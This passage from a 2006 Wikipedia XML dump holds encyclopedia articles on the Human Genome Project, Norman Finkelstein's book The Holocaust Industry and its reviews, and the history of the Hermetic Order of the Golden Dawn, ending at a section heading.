*[http://www.marcuse.org/herbert/pubs.htm Complete bibliography of Marcuse's published works], at marcuse.org
*[http://www.marcuse.org/herbert/booksabout.htm Long list of secondary works about Marcuse], at marcuse.org
*[http://www.marcuse.org/herbert/scholaractivists.htm List of scholars and activists influenced by Marcuse], at marcuse.org

[[Category:1898 births|Marcuse, Herbert]]
[[Category:1979 deaths|Marcuse, Herbert]]
[[Category:20th century philosophers|Marcuse, Herbert]]
[[Category:Frankfurt School|Marcuse, Herbert]]
[[Category:German philosophers|Marcuse, Herbert]]
[[Category:German sociologists|Marcuse, Herbert]]
[[Category:Marxist theorists|Marcuse, Herbert]]
[[Category:Naturalized citizens of the United States|Marcuse, Herbert]]

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  <page>
    <title>Human Genome Project</title>
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      <comment>/* Goals */  typo</comment>
      <text xml:space="preserve">The '''Human Genome Project''' (HGP) endeavoured to map the [[human genome]] down to the [[nucleotide]] (or [[base pair]]) level and to identify all the [[gene]]s present in it.

==History==
The Project was launched in [[1986]] by [[Charles DeLisi]], who was then Director of the [[United States Department of Energy|US Department of Energy's]] Health and Environmental Research Programs. The goals and general strategy of the Project were outlined in a two-page memo to the Assistant Secretary in April 1986, which helped garner support from the DOE, the [[OMB]] and Congress, especially Senator [[Pete Domenici]]. A series of Scientific Advisory meetings, and complex negotiations with senior Federal officials resulted in a [[line item]] for the Project in the [[1987]] Presidential budget submission to the Congress.

Initiation of the Project was the culmination of several years of work supported by the US Department of Energy, in particular a feasibility workshop in 1986 and a subsequent [http://www.ornl.gov/sci/techresources/Human_Genome/project/herac2.shtml detailed description of the Human Genome Initiative] in a report that led to the formal sanctioning of the initiative by the Department of Energy{{ref|barnhart}}. This 1987 report stated boldly, &quot;The ultimate goal of this initiative is to understand the human genome&quot; and &quot;Knowledge of the human genome is as necessary to the continuing progress of medicine and other health sciences as knowledge of human anatomy has been for the present state of medicine.&quot; Candidate technologies were already being considered for the proposed undertaking at least as early as 1985{{ref|delisi}}.

James Watson was Head of the National Center for Human Genome Research at the NIH starting from 1988.  Largely due to his disagreement with his boss, Bernradine Healy, over the issue of patenting genes, he was forced to resign in 1992.   He was replaced by [[Francis Collins]] in April 1993 and the name of the Center was changed to the [[National Human Genome Research Institute]] (NHGRI) in 1997.

The [[research funding|$3-billion project]] was formally founded in [[1990]] by the [[United States Department of Energy]] and the [[U.S. National Institutes of Health]], and was expected to take 15 years.

In addition to the [[United States]], the international [[consortium]] comprised geneticists in [[China]], [[France]], [[Germany]], [[Japan]], and the [[United Kingdom]].

Due to widespread international cooperation and advances in the field of [[genomics]] (especially in [[sequence analysis]]), as well as huge advances in computing technology, a rough draft of the genome was finished in [[2000]] (announced jointly by US president [[Bill Clinton]] and [[United Kingdom|British]] [[Prime Minister of the United Kingdom|Prime Minister]] [[Tony Blair]] on [[June 26]], [[2000]]), two years earlier than planned.

President Clinton had already awarded the [[Citizen's medal]] to DeLisi for his seminal role in the Project, in January [[2000]], before the completion of the Project was announced.

==The Role of Celera Genomics==
In 1998, an identical, privately funded quest was launched by researcher [[Craig Venter]] and his firm [[Celera Genomics]]. The $300 million Celera effort was intended to proceed at a faster pace and at a fraction of the cost of the roughly $3 billion [[research funding|taxpayer-funded project]].

Celera used a newer, riskier technique called [[whole genome shotgun sequencing]], which had been used to sequence bacterial genomes.

Celera initially announced that it would seek patent protection on &quot;only 200-300&quot; genes, but later amended this to seeking &quot;intellectual property protection&quot; on &quot;fully-characterized important structures&quot; amounting to 100-300 targets. The firm eventually filed [http://news.bbc.co.uk/1/hi/sci/tech/487773.stm patent applications on 6,500 whole or partial genes].

Celera also promised to publish their findings in accordance with the terms of the 1996 &quot;[[Bermuda Principles|Bermuda Statement]],&quot; by releasing new data quarterly (the HGP released its new data daily), although, unlike the publicly-funded project, they would not permit free redistribution or commercial use of the data.

In March 2000, President Clinton announced that the genome sequence could not be patented, and should be made freely available to all researchers. The statement sent Celera's stock plummeting and dragged down the biotech-heavy [[Nasdaq]]. The biotech sector lost about $50 billion in market capitalization in two days. 

Although the working draft was announced in June 2000, it was not until February 2001 that Celera and the HGP scientists published details of their drafts. Special issues of ''[[Nature (journal)|Nature]]'' (which published the publicly-funded project's scientific paper) and ''[[Science (journal)|Science]]'' (which published Celera's paper) described the methods used to produce the draft sequence and offered analysis of the sequence.  These drafts are hoped to comprise a 'scaffold' of 90 % of the genome, with gaps to be filled later.

The competition proved to be very good for the project. The rivals agreed to pool their data, but the agreement fell apart when Celera refused to deposit its data in the unrestricted public database Genbank. Celera had incorporated the public data into their genome, but forbade the public effort to use Celera data.

On [[14 April]] [[2003]], a joint [http://www.genoscope.cns.fr/externe/CHODE/English/Actualites/Presse/HGP/HGP_press_release-140403.pdf press release] announced that the project had been completed by both groups, with 99 % of the genome sequenced with 99.99 % accuracy.

Each draft sequence has been checked at least four to five times to increase 'depth of coverage' or accuracy. About 47 % of the draft were high-quality sequences. The final version will have been checked eight to nine times giving an error rate of 1 in 10,000 bases.

HGP is one of several international [[genome project]]s aimed at sequencing the DNA of a specific organism. While the human DNA sequence offers the most tangible benefits, important developments in biology and medicine are predicted as a result of the sequencing of [[model organisms]], including mice, fruitflies, zebrafish, yeast, nematodes and many microbial organisms and parasites.

In [[October]] [[2004]], [[researcher]]s of the HGP announced a new estimate of 20,000 to 25,000 genes in the [[human genome]]. Previously 30,000 to 40,000 had been predicted, while estimates at the start of the project reached up to as high as 100,000.

==Goals==
The goals of the original HGP were not only to determine all 3 billion base pairs in the human genome with a minimal error rate, but also to identify all the genes in this vast amount of data. This part of the project is still ongoing although a preliminary count indicates about 30,000 genes in the human genome, which is far fewer than predicted by most scientists.

Another goal of the HGP was to develop faster, more efficient methods for DNA [[sequencing]] and [[sequence analysis]] and the transfer of these technologies to industry.  The sequencing of the human genome was made possible, in part by the development of a new technology, termed Rolling Circle Amplification Technology, that amplified the number of copies of [[DNA]] in the samples being sequenced, thereby facilitating the analysis.  Rolling Circle Amplification Technology was developed through the independent efforts of the research groups of Paul Lizardi ([[Yale University]]), Eric Kool ([[The University of Rochester]]), Jeffrey Auerbach ([[Replicon, Inc.]]) and David Zhang ([[Mount Sinai Medical Center]]).  

The sequence of the human [[DNA]] is stored in [[database]]s available to anyone on the [[Internet]]. The U.S. [[NCBI|National Center for Biotechnology Information]] (and sister organizations in Europe and Japan) house the gene sequence in a database known as Genbank, along with sequences of known and hypothetical genes and proteins. Other organizations such as the [[UCSC|University of California, Santa Cruz]], and [http://www.ensembl.org ENSEMBL] present additional data and annotation and powerful tools for visualizing and searching it. [[Computer program]]s have been developed to analyse the data, because the data itself is difficult to interpret without them.

The process of identifying the boundaries between genes and other features in raw [[DNA]] sequence is called [[genome annotation]] and is the domain of [[bioinformatics]]. While expert biologists make the best annotators, their work proceeds slowly, and computer programs are increasingly used to meet the high-throughput demands of genome sequencing projects. The best current technologies for annotation make use of statistical models that take advantage of parallels between DNA sequences and human [[language]], using concepts from computer science such as [[formal grammar]]s.

All humans have unique gene sequences, therefore the data published by the HGP does not represent the exact sequence of each and every individual's genome. It is the combined genome of a small number of anonymous donors. The HGP genome is a scaffold for future work in identifying differences between individuals. Most of the current effort in identifying differences between individuals involves [[single nucleotide polymorphism]]s and the [[HapMap]].

==Benefits==
Clear practical results of the project emerged even before the work was finished. For example, a number of
companies, such as [[Myriad Genetics]] started offering inexpensive and easy ways to administer genetic tests that can show predisposition to a variety of illnesses, including [[breast cancer]], [[blood clotting]], [[cystic fibrosis]], [[liver]] diseases and many others.

There are also many tangible benefits for biological scientists. For example, a researcher investigating a certain form of [[cancer]] may have narrowed down his search to a particular gene. By visiting the human genome database on the worldwide web, this researcher can examine what other scientists have written about this gene, including (potentially) its three-dimensional structure, its function(s), its evolutionary relationships to other human genes, or to genes in mice or yeast or fruitflies, possible detrimental mutations, interactions with other genes, body tissues in which this gene is activated, diseases associated with this gene... The list of datatypes is long, one reason why [[bioinformatics]] is so challenging.

The work on interpretation of genome data is still in its initial stages. In the future the knowledge gained by the understanding of the genome will boost the fields of [[medicine]] and [[biotechnology]], potentially leading to cures for [[cancer]], [[Alzheimer's disease]] and other diseases.

On a more purely scientific level, the analysis of similarities between DNA sequences from different organisms is opening new avenues in the study of the theory of [[evolution]]. In many cases, evolutionary questions can now be framed in terms of [[molecular biology]]; indeed, many major evolutionary milestones (the emergence of the [[ribosome]] and [[organelle]]s, the development of embryos with body plans, the [[vertebrate]] [[immune system]]) can be related to the molecular level. Many questions about the similarities and differences between humans and our closest relatives (the [[primate]]s, and indeed the other [[mammal]]s) are expected to be illuminated by the data from this project.

==Whose genome was sequenced?==
''This answer is posted as supplied by Dr. Marvin Stodolsky, U.S. DOE Office of Biological and Environmental Research, Office of Science.  This statement is believed to be in the public domain since it is a work of the United States government''

&lt;blockquote&gt;Whose genome was sequenced in the public (HGP) and private projects?&lt;/blockquote&gt;

&lt;blockquote&gt;The human genome reference sequences do not represent any one person’s genome. Rather, they serve as a starting point for broad comparisons across humanity. The knowledge obtained is applicable to everyone because all humans share the same basic set of genes and genomic regulatory regions that control the development and maintenance of their biological structures and processes.&lt;/blockquote&gt;

&lt;blockquote&gt;In the international public-sector Human Genome Project (HGP), researchers collected blood (female) or sperm (male) samples from a large number of donors. Only a few of many collected samples were processed as DNA resources. Thus the donor identities were protected so neither donors nor scientists could know whose DNA was sequenced. DNA clones from many different libraries were used in the overall project.&lt;/blockquote&gt;

&lt;blockquote&gt;Technically, it is much easier to prepare DNA cleanly from sperm than from other cell types because of the much higher ratio of DNA to protein in sperm and the much smaller volume in which purifications can be done. Using sperm does provide all chromosomes for study, including equal numbers of sperm with the X (female) or Y (male) sex chromosomes. However, HGP scientists also used white cells from the blood of female donors so as to include female-originated samples.&lt;/blockquote&gt;

&lt;blockquote&gt;In the Celera Genomics private-sector project, DNAs from a few different genomes were mixed up and processed for sequencing. The DNA resources used for these studies came from anonymous donors of European, African, American (North, Central, South), and Asian ancestry. The lead scientist of Celera Genomics at that time, [[Craig Venter]], has since acknowledged that his DNA was one of those in the pool.&lt;/blockquote&gt;

&lt;blockquote&gt;Many small regions of DNA that vary among individuals (called polymorphisms) also were identified during the HGP, mostly single nucleotide polymorphisms (SNPs). Most SNPs are without physiological effect, although a minority contribute to the delightful and beneficial diversity of humanity. A much smaller minority of polymorphisms affect an individual’s susceptibility to disease and response to medical treatments.&lt;/blockquote&gt;

&lt;blockquote&gt;Although the HGP has been completed, SNP studies continue in the International HapMap Project, whose goal is to identify patterns of SNP groups (called haplotypes, or “haps”). The DNA samples for the HapMap came from a total of 270 individuals: Yoruba people in Ibadan, Nigeria; Japanese in Tokyo; Han Chinese in Beijing; and the French Centre d’Etude du Polymorphisme Humain (CEPH) resource.{{ref|HGP}}&lt;/blockquote&gt;

==References==
#{{note|barnhart}} {{cite journal
 | last = Barnhart | first = Benjamin J.
 | year = 1989
 | url = http://www.ornl.gov/sci/techresources/Human_Genome/publicat/hgn/v1n1/01doehgp.shtml
 | title =  DOE Human Genome Program
 | journal=Human Genome Quarterly
 | volume = 1 | pages = 1
 }} Retrieved 2005-02-03.
#{{note|delisi}} {{cite journal
 | last = DeLisi | first = Charles
 | year = 2001
 | url = http://genome.gsc.riken.go.jp/hgmis/publicat/hgn/v11n3/05delisi.html
 | title = Genomes: 15 Years Later A Perspective by Charles DeLisi, HGP Pioneer
 | journal=Human Genome News
 | volume = 11 | pages = 3–4
 }} Retrieved 2005-02-03.
#{{note|HGP}} Stodolsky, Dr. Marvin [http://www.ornl.gov/sci/techresources/Human_Genome/faq/seqfacts.shtml#whose Oak Ridge National Laboratory Website]
*[http://www.wired.com/news/medtech/0,1286,66822,00.html DNA Testing Goes DIY], Associated Press via Wired News, March 07, 2005.

==See also==
*[[National Human Genome Research Institute]]
*[[Chimpanzee Genome Project]]
*[[Cancer Genome Project]]
*[[International HapMap Project]]
*[[Sanger Institute]]

==External links==
* [http://www.genome.gov National Human Genome Research Institute (NHGRI)]. [[NHGRI]] led the National Institutes of Health's ([[NIH]]'s) contribution to the International Human Genome Project. This project, which had as its primary goal the sequencing of the 3 billion base pairs that make up human genome, was successfully completed in April 2003.

* [http://www.ornl.gov/sci/techresources/Human_Genome/publicat/hgn/hgn.shtml Human Genome News]. Published from 1989 to 2002 by the US Department of Energy, this newsletter was a major communications method for coordination of the Human Genome Project. Complete online archives are available.
*[[Project Gutenberg]] hosts e-texts for Human Genome Project, titled ''Human Genome Project, Chromosome Number #'' (# denotes 01-22, X and Y). This information is raw sequence, released in November 2002; access to entry pages with download links is available through http://www.gutenberg.org/etext/3501 for Chromosome 1 sequentially to http://www.gutenberg.org/etext/3524 for the Y Chromosome. Note that this sequence might not be considered definitive due to ongoing revisions and refinements. In addition to the chromosome files, there is a [http://www.gutenberg.org/etext/11799 supplementary information file] dated March 2004 which contains additional sequence information.
*[http://www.doegenomes.org/ The HGP information pages]
*[http://www.ensembl.org/ Ensembl project], an automated annotation system and browser for the human genome
* [http://genome.ucsc.edu UCSC genome browser]
*[http://www.nature.com/genomics/human/ Nature magazine's human genome gateway], including the HGP's paper on the draft genome sequence
*[http://www.wellcome.ac.uk/en/genome/ Wellcome charitable trust description of HGP] &quot;Your Genes, your health, your future&quot;.
* [http://www.ericdigests.org/2003-2/genome.html Learning about the Human Genome. Part 1: Challenge to Science Educators. ERIC Digest.]
* [http://www.ericdigests.org/2003-2/genome2.html Learning about the Human Genome. Part 2: Resources for Science Educators. ERIC Digest.]
* [http://www.prospect.org/print/V11/26/goozner-m.html ''Patenting Life'' by  Merrill Goozner]
* [http://clinton4.nara.gov/WH/EOP/OSTP/html/00626_4.html Prepared Statement of Craig Venter of Celera] Venter discusses Celera's progress in deciphering the human genome sequence and its relationship to healthcare and to the federally funded Human Genome Project.


{{genomics-footer}}

[[Category:Big Science]]
[[Category:Classification systems]]
[[Category:Genome projects]]
[[Category:U.S. sponsored enterprises]]

[[da:HUGO]]
[[de:Humangenomprojekt]]
[[es:Proyecto Genoma Humano]]
[[fr:Projet Génome Humain]]
[[he:פרויקט הגנום האנושי]]
[[id:Proyek Genom Manusia]]
[[it:Progetto Genoma Umano]]
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[[nl:Menselijk genoomproject]]
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[[zh:人类基因组计划]]</text>
    </revision>
  </page>
  <page>
    <title>The Holocaust Industry</title>
    <id>13786</id>
    <revision>
      <id>41842237</id>
      <timestamp>2006-03-02T02:25:48Z</timestamp>
      <contributor>
        <ip>72.38.238.68</ip>
      </contributor>
      <text xml:space="preserve">'''''The Holocaust Industry: Reflections on the Exploitation of Jewish Suffering''''' is a [[book]] by [[Norman G. Finkelstein]], who is jewish, which argues that an &quot;industry&quot; has exploited the memory of [[the Holocaust]] to further Jewish and [[Israeli]] interests, and has corrupted the Jewish culture and Jewish heritage of [[Judaism]] as well as the history of the Holocaust.  

==Content of the book==

In the foreword to this edition Finkelstein explains his aim:

:My concern in this book is not at all Swiss bankers or, for that matter, German industrialists. Rather, it is restoring the integrity of the historical record and the sanctity of the Jewish people's [[martyr]]dom. I deplore the Holocaust industry's corruption of history and memory in the service of an extortion racket.

The book's controversial thesis is that the memory of the Nazi genocide of Jews during WW-II was hijacked by a number of American Jewish organizations in the service of improper goals. 
 
Among the specific charges Finkelstein documents are:
*That powerful Jewish groups are exploiting the tragedy of the Holocaust for political and financial gain.
*That numerous [[fraudsters]] are falsely claiming to be survivors of the Nazi Holocaust.
*That some attempts to redress the grievances of [[Judaism|Jewish]] Holocaust victims have been dishonest.
*That some agencies claiming to represent Holocaust survivors in [[reparations]] [[lawsuit|suit]]s have kept cash payments due the survivors. 
*That many American Jews are not practicing [[Judaism]] but have replaced it with a dogma of [[fund-raising]] for Jewish causes.

A new, expanded [[edition]] of the book has been published.

==Reviews and critiques== 

The critical response has been varied. In addition to prominent supporters, such as [[Noam Chomsky]] and [[Alexander Cockburn]], especially notable is [[Raul Hilberg]], one of the most famous and distinguished [[Holocaust]] historians, whose multi-volume ''[[The Destruction of the European Jews]]'' is widely regarded as the first seminal study on the [[Jewish]] [[Holocaust]], has praised Finkelstein's book.  

:When I read Finkelstein's book, The Holocaust Industry, at the time of its appearance, I was in the middle of my own investigations of these matters, and I came to the conclusion that he was on the right track. I refer now to the part of the book that deals with the claims against the Swiss banks, and the other claims pertaining to forced labor. I would now say in retrospect that he was actually conservative, moderate and that his conclusions are trustworthy. He is a well-trained political scientist, has the ability to do the research, did it carefully, and has come up with the right results. I am by no means the only one who, in the coming months or years, will totally agree with Finkelstein's breakthrough. [http://www.thenation.com/doc/20050711/wiener/2]

Others have said that Finkelstein misrepresents history, and that he promotes anti-Semitic stereoypes. Some prominent historians have denounced the book in harsh terms, though few have written detailed reviews.[http://www.normanfinkelstein.com/article.php?pg=3&amp;ar=11] However, in his review of ''The Holocaust Industry'' for ''[[The New York Times]]'', Omer Bartov, Professor of History and European History at Brown University, wrote:

:What I find so striking about ''The Holocaust Industry'' is that it is almost an exact copy of the arguments it seeks to expose. It is filled with precisely the kind of shrill hyperbole that Finkelstein rightly deplores in much of the current media hype over the Holocaust; it is brimming with the same indifference to historical facts, inner contradictions, strident politics and dubious contextualizations; and it oozes with the same smug sense of moral and intellectual superiority.

: &quot;There is something sad in this warping of intelligence, and in this perversion of moral indignation. There is also something indecent about it, something juvenile, self-righteous, arrogant and stupid... 

:This book is, in a word, an ideological fanatic's view of other people's opportunism... Like any conspiracy theory, it contains several grains of truth; and like any such theory, it is both irrational and insidious. Finkelstein can now be said to have founded a Holocaust industry of his own.[http://www.anti-rev.org/textes/Bartov00a/index.html]

Andrew Ross [http://edition.cnn.com/2000/books/reviews/09/06/salon.review.holocaust/ reviewed] the book in Salon magazine and said about Finkelstein:

:On the issue of reparations, he barely acknowledges the wrongs committed by the Swiss and German institutions &amp;mdash; the burying of Jewish bank accounts, the use of slave labor &amp;mdash; that gave rise to the recent reparations drive. The fear that the reparations will not wind up in the hands of those who need and deserve them most is a legitimate concern. But the idea that survivors have been routinely swindled by Jewish institutions is a gross distortion. The chief reason why survivors have so far seen nothing of the $1.25 billion Swiss settlement, reached in [[1998]], is that U.S. courts have yet to rule on a method of distribution. On other reparations and compensation settlements, the Claims Conference, a particular bete noire of Finkelstein, says that it distributed approximately $220 million to individual survivors in [[1999]] alone.

Finkelstein responded to his critics in the foreword to the second edition:

:Mainstream critics allege that I conjured a &quot;[[conspiracy theory]]&quot; while those on the [[Left-wing politics|Left]] ridicule the book as a defense of &quot;the [[bank]]s&quot;.  None, so far as I can tell, question my actual findings.

==See also==
*[[Norman Finkelstein|Finkelstein's biography]] for more controversies surrounding both the book and his related statements.
*[[Nazi gold]]
*[[Claims Conference]]

[[Category:2000 books|Holocaust Industry, The]]

[[Category:Holocaust|Industry]]
[[Category:Political books|Holocaust Industry, The]]
[[Category:Books critical of Zionism|Holocaust Industry, The]]

[[es:La industria de Holocausto]]
[[pl:Przedsiębiorstwo Holocaust]]</text>
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  </page>
  <page>
    <title>Hermetic Order of the Golden Dawn</title>
    <id>13787</id>
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      <id>41969827</id>
      <timestamp>2006-03-02T23:21:50Z</timestamp>
      <contributor>
        <ip>69.181.48.47</ip>
      </contributor>
      <comment>revert: &quot;magick&quot; is not the proper spelling in the context of the GD.</comment>
      <text xml:space="preserve">:''This article relates to the historical Golden Dawn of 1888. For modern groups and offshoots, see [[Golden Dawn tradition]].''

[[image:Slmathers.jpg|frame|[[Samuel Liddell MacGregor Mathers]], in [[Egypt]]ian costume, performs a ritual of [[Isis]] (not a Rite of the Golden Dawn).]]

The '''Hermetic Order of the Golden Dawn''' (or &quot;'''Golden Dawn'''&quot;, as it is commonly referred to) is a tradition of magical [[theurgy]] and spiritual development. It is probably the single greatest influence on [[20th century]] [[western civilization|western]] [[occultism]].  Concepts of magic and ritual that became core elements of many other traditions, including [[Wicca]], [[Thelema]] and other forms of magical [[spirituality]] popular today, are drawn from the Golden Dawn traditions. 

Influences on Golden Dawn concepts and work include:  [[Christian mysticism]], [[Kabbalah]], [[Hermeticism]], [[Paganism]] of [[Ancient Egypt|Egypt]], [[Theurgy]], [[Freemasonry]], [[Alchemy]], [[Theosophy]], [[Eliphas Levi]], [[Papus]], [[Enochian Magic]], and medieval [[grimoire]]s.

===Origins===
The original &quot;Order of the Golden Dawn&quot; was a [[magical organization|magical fraternity]] founded in [[London]] in [[1888]] by Dr. William Wynn Westcott, a London physician and municipal coroner. His partners were another physician, Dr. William R. Woodman, and [[Samuel Liddell MacGregor Mathers]]. All three men were Freemasons. (However, sometime after becoming a member of the Golden Dawn, S.L. Macgregor Mathers became inactive in Freemasonry.) Dr. Woodman was the head of a reputable Rosicrucian fellowship made up of well respected, high ranking Masons in London. The three founders were also members of the [[Societas Rosicruciana in Anglia]] (S.R.I.A.), an exclusive lodge founded by the noted Grand Lodge Freemason Kenneth MacKenzie, author of The Royal Masonic Encyclopedia. The S.R.I.A. was established in 1866 with Lord Bulwer-Lytton as honorary patron. Important members included Frederick Hockley, who collected esoteric writing and engaged in practical experimentation; he is reliably known to have been taught by a pupil of Francis Barrett, and was a teacher of Kenneth MacKenzie. The Christian spiritualist leader Rev. William Stainton Moses was also a member of the S.R.I.A.

Westcott, also a member of the [[Theosophy|Theosophical]] Society, seems to have been the initial driving force behind the establishment of the Golden Dawn. Woodman, as Supreme Magus of the S.R.I.A., was undoubtedly recruited to lend credibility to the new organization. Mathers was an antiquarian, translator, researcher and had a great talent for composing ritual works and integrating occult symbolism. In addition, Mathers insisted on women being allowed to participate in the Order in &quot;perfect equality&quot; with men. This was a marked change from the men-only tradition of Masonry. And unlike the S.R.I.A., which required its members to be Christian, the Golden Dawn was open to any man or woman who professed &quot;belief in a Supreme Being or Beings&quot;.

===The Cipher Manuscripts===
According to its founders, the Golden Dawn was based on a charter from a supposedly ancient German Rosicrucian Lodge, which had written a coded record of their secret occult rituals into a document dubbed the [[Cipher Manuscripts]]. Westcott claimed to have acquired these mysterious manuscripts in 1886, from the effects of Reverend A. F. A. Woodford, an elderly Masonic scholar. Copies of these records were subsequently discovered by Westcott among assorted papers of the [[Swedenborgianism|Swedenborgian]] Rite that MacKenzie had left to Woodford after his death in 1886, which were turned over by Woodford's widow to Westcott, in his capacity as an Officer of the S.R.I.A.. 

According to Westcott, the [[Cipher Manuscripts]] also contained an address of an aged adept named &quot;Fräulein Sprengel&quot; in Germany, to whom Westcott wrote inquiring about the contents of the papers. Fraulein Sprengel responded, and after accepting the requests of Westcott and Mathers, issued them a charter to operate a Lodge of the Order in England. Westcott's first Golden Dawn Temple was the Isis-Urania Lodge, styled &quot;No.3&quot;. Temple No.1 would have been Fraulein Sprengel's lodge, and No. 2 was supposedly an abortive attempt at a lodge by some unnamed persons in London, (possibly a reference to MacKenzie and other S.R.I.A. members some years earlier.)

===The Golden Age of the Golden Dawn===
In its heyday, many [[culture|cultural]] [[celebrity|celebrities]] belonged to the Golden Dawn, such as actress [[Florence Farr]] and [[Irish]] revolutionary [[Maude Gonne]]. Some well known members included  [[Arthur Machen]], [[William Butler Yeats]], and [[Aleister Crowley]]. ([[Bram Stoker]] is rumored to have once been a member, but it has never been proven.) But many men and women of the 19th century [[Fin de siècle]] social culture were members of the Golden Dawn.

The original Lodge founded in 1888 did not teach any magical practices per se (except for basic &quot;banishing&quot; rituals and meditation), but was rather a philosophical and metaphysical teaching Order. This was called &quot;the Outer Order&quot;, and for four years the Golden Dawn existed only in &quot;the Outer&quot;. The &quot;Inner Order&quot;, which became active in 1892, was the circle of Adepts who had completed the entire course of study and Initiations of the Outer Order contained in the Cipher Manuscripts. This group eventually became known as the Second Order (the Outer Order being the &quot;First&quot; Order).

Mathers and Dr. Westcott have been credited for developing the ritual outlines in the Cipher Manuscript into a workable format.{{fn|1}} Mathers, however, is generally credited with the design of the curriculum and rituals of the Second Order, which he called the ''Rosae Rubae et Aureae Crucis'' (&quot;Ruby Rose and Golden Cross&quot;, or the ''RR et AC''.) Some Golden Dawn practitioners believe that Mathers received his materials from the ''&quot;Secret Chiefs&quot;'' connected to his German Rosicrucian predecessors, which is what he stated to his followers. Some believe that S.L. Macgregor Mathers and his wife Moina [[Channelling (mediumistic)|channelled]] the materials, and later refined and developed them, as was done with the Cipher Manuscripts. Mathers' exegesis of the Cipher materials as practiced by the original Temples is known as the &quot;Z-2&quot;. The Order tradition is to designate it's important &quot;secret&quot; instructional papers as &quot;Z Documents&quot;. 

The primary Lodges were the original ''Isis-Urania Temple'' in London, the ''Amen-Ra Temple'' in Edinburgh, and the ''Ahathoor Temple'' in Paris. It is unknown how many members the Order had in its heyday, as some lodges' records were lost or destroyed, but estimates range from three to five hundred. Only a small group, probably well under one hundred, ever became part of the Second Order. There were a few other Temples, consisting of small groups scattered in Europe and America, generally meeting in private homes. Mathers left London in 1894 to live in Paris, and his temple there became the nominal center of the organization, though it was notable chiefly for his presence. Westcott remained in London as Chief Adept in Anglica (England.)

By the end of the 19th century, Dr. Woodman had passed away, and Dr. Westcott had curtailed his participation in official activities after several occult manuscripts of the Order, in a case bearing his address, had been left in a London taxicab and came to the attention of his superiors in the city government. Not wishing any hint of scandal over &quot;secret occult societies&quot; that had officials of the Crown in their ranks (especially a coroner, who could conceivably cover up a suspicious cause of death), Westcott's employers insisted he disassociate himself with the Order. There are accounts of a similar incident in 1889 which caused him to stop lecturing for the ''Esoteric Section of the Theosophical Society''. Aleister Crowley later alleged in his autobiography that Mathers deliberately planted the documents to consolidate his control of the Order by forcing Westcott's resignation, as this was rumored at the time. While there is no proof of Mathers's complicity, it appears that the relationship between Mathers and Westcott all but ended after this point. After Westcott's departure, Mathers appointed Florence Farr to be Chief Adept in Anglica. (Although Westcott publicly resigned, he must have continued in some capacity since there are Lodge documents bearing his signature dated years after his &quot;resignation.&quot;)

This left Mathers as the only active founding member and in charge of the Order. Due to personality clashes with other members, and being absent from the center of Lodge activity in Great Britain, challenges to Mathers' authority as leader began to develop amongst the members of the Second Order.

===The Breakup of the Original Order===
After 13 years of operation, a majority of the high-ranking members in London fostered a schism of the British lodges from Mathers in 1900, which led to further schisms and more splinter groups. The original Golden Dawn ceased to exist under that name in [[1903]] but which continued under at least two spin-off organizations, the [[Stella Matutina]] (Morning Star) and the [[Alpha et Omega]], as well as a renamed faction headed by [[Arthur Edward Waite]]. 

In 1900, Mathers had entered into a disastrous relationship with a husband and wife known as Mr. and Mrs. Theo Horos. This couple had carved out a living for a number of years as &quot;confidence frauds with an occult slant.&quot; The Horos' had apparently developed some kind of relationship with one of the American temples and had either acquired or forged some Order papers and credentials. Based on these credentials and their mesmeric personalities, the Horoses were able to con Mathers out of Order documents, which they used to set up spurious &quot;temples&quot; and operate confidence schemes. Word of their illicit operations eventually reached Mathers, who subsequently denounced them as frauds, and they were tried and convicted of fraud and sexual misconduct in 1902.

By 1903 the name &quot;Golden Dawn&quot; was dropped by both Mathers and by the various splinter groups to avoid the growing public scandal. The Stella Matutina closed its doors in the [[United Kingdom]] before [[World War II|WWII]], but continued to function under the popular name [[Whare Ra]] in [[New Zealand]] until the late [[1970s]]. Mathers' Alpha et Omega had a few members in America in the early 20th century, but no groups are known to have continued after the death of his wife Moina in 1928.

===The Modern Revival===
In 1914, Aleister Crowley published the texts of the Initiation rituals of the Outer Order in his serial publication, &quot;The Equinox&quot;. Real circulation of the materials didn't happen until after World War I, when they created quite a stir in the occult community. The secrets of the Golden Dawn became available to the general public, and were a major part of the occult &quot;revival&quot; of the 1920's. Israel Regardie, who was once Crowley's secretary, published the complete initiation rites, along with a selection of the workings and instructional documents that were in his possession, of the Stella Matutina (essentially identical to the original Golden Dawn rituals and teachings) in the early 1930s. While this action supposedly violated the Order's oaths of secrecy, Regardie claims he believed at the time no functioning lodges remained, and feared the work of the Order would otherwise be lost forever. 

In the 1920s and 30s more schisms occurred, and by the onset of World War II most of the original Lodges were gone, except for a few small groups (notably in America and New Zealand) that could claim direct descent from the original Lodges, finally dying out in the 1970s. But even as the original lodges died away, new adherents and Initiates of the old Adepts began to revive the Order, reclaiming the name of the Golden Dawn. Lodges currently exist in Europe, the Americas, South Africa and Australia. Numbers are hard to estimate, but there are likely hundreds if not thousands of people currently involved in organized Golden Dawn groups, and many solo practioners. Some can claim lineage of one kind or another to the original lodges by &quot;apostolic succession&quot; (i.e. Adepts having gone on to establish their own Lodges without any official charters), others simply follow the legacy of the original Order according to the wealth of published material available to the public, either in organized lodges or as solo practitioners. This being the case, there is no universally recognized central authority, though there are lodges and individuals that lay claim to it.

There are a few organized Golden Dawn groups today that lay claim to the &quot;undiluted&quot; lineage of the original Temples. Generally, this takes the form of issuing claims (especially on the Internet) of being chartered by an offshoot Temple of Isis-Urania Lodge No.3.. Moina Mathers, having assumed the role of Imperatrix after her husband's death in 1918, chartered a few Lodges in Europe and America after her husband died. Claims of lineage are usually by  connection to one of these temples.

The publication of the Golden Dawn corpus figured prominently in the occult &quot;revival&quot; of the 1960s. Before his death in 1985, Regardie was involved in initiatives to reestablish the [[Golden Dawn tradition]]. Other groups founded by former Golden Dawn associates, such as the [[Builders of the Adytum]] (B.O.T.A.) of [[Paul Foster Case]] and the [[Society of Inner Light]] of [[Dion Fortune]], continue to exist today. The historical and cultural legacy of the Golden Dawn has been more influential on modern occultism than any other esoteric organization or body of knowledge. Although the original Golden Dawn teachings showed a strong influence of esoteric Christianity, almost every expression of Western occult spirituality and neo-paganism today owes a debt to the Hermetic Order of the Golden Dawn.

===Philosophy===
